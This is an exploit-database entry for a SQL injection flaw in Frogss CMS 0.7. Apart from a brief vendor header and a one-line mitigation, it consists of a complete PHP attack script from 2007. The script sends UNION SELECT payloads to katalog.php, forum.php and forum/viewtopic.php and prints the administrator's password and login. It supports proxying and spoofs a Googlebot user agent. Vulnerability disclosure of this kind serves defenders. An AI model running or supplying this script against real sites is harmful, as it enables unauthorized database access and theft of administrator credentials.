Frogss CMS - exploit.company

vendor:
Frogss CMS
by:
Kacper
CVSS
CRITICAL
SQL Injection
CWE
Product Name: Frogss CMS
Affected Version From: 0.7
Affected Version To: 0.7
Patch Exists: NO
Related CWE:
CPE: a:frogss:frogss_cms:0.7
Metasploit:
Other Scripts:
Platforms Tested:
Unknown
Frogss CMS <= 0.7 SQL Injection Exploit

This exploit allows an attacker to perform SQL Injection on Frogss CMS version 0.7 or below. The attacker can execute arbitrary SQL queries and potentially gain unauthorized access to the database.
Mitigation:

Upgrade to a newer version of Frogss CMS that has fixed the SQL Injection vulnerability. Also, sanitize and validate user input to prevent SQL Injection attacks.
Source
Exploit-DB raw data:

<?
print ("Autor: Kacper
Contact: kacper1964@yahoo.pl
Homepage: http://www.rahim.webd.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Frogss CMS <= 0.7 SQL Injection Exploit
script homepage: http://frogss.com/
\r\n\r\n");
if ($argc<4) {
print_r('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php '.$argv[0].' host path Vulnerabilities_number OPTIONS
host:       target server (ip/hostname)
path:       frogss path
Vulnerabilities number: 1 or 2 or 3
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 127.0.0.1 /frogss/ 1
php '.$argv[0].' 127.0.0.1 /frogss/ 2
php '.$argv[0].' 127.0.0.1 /frogss/ 3
php '.$argv[0].' 127.0.0.1 /frogss/ 1 -P1.1.1.1:80
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function wyslijpakiet($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die("Bad path!");}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($action!=1) and ($action!=2) and ($action!=3)) {echo "select Vulnerabilities number (1,2,3) ...";}
function char_convert($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}
if ($action==1)
{
print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n";
print "Vulnerabilities Number: 1\r\n";
$packet ="GET ".$p."katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<!--[").",haslo,".char_convert("]-->").")/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."katalog.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$pass=$t2[0];
echo "Admin Password: ".$pass."\r\n";
$packet ="GET ".$p."katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<!--[").",login,".char_convert("]-->").")/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."katalog.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$login=$t2[0];
echo "Admin Login: ".$login."\r\n";
}
elseif ($action==2)
{
print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n";
print "Vulnerabilities Number: 2\r\n";
$packet ="GET ".$p."forum.php?d=1&t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("<!--[").",haslo,".char_convert("]-->")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."forum.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$pass=$t2[0];
echo "Admin Password: ".$pass."\r\n";
$packet ="GET ".$p."forum.php?d=1&t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("<!--[").",login,".char_convert("]-->")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."forum.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$login=$t2[0];
echo "Admin Login: ".$login."\r\n";
}
elseif ($action==3)
{
print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n";
print "Vulnerabilities Number: 3\r\n";
$packet ="GET ".$p."forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("<!--[").",haslo,".char_convert("]-->")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."forum/viewtopic.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$pass=$t2[0];
echo "Admin Password: ".$pass."\r\n";
$packet ="GET ".$p."forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("<!--[").",login,".char_convert("]-->")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."forum/viewtopic.php\r\n";
$packet.="Accept-Language: pl\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet);
sleep(3);
$t=explode("<!--[",$html);
$t2=explode("]-->",$t[1]);
$login=$t2[0];
echo "Admin Login: ".$login."\r\n";
}
?>

# milw0rm.com [2007-04-13]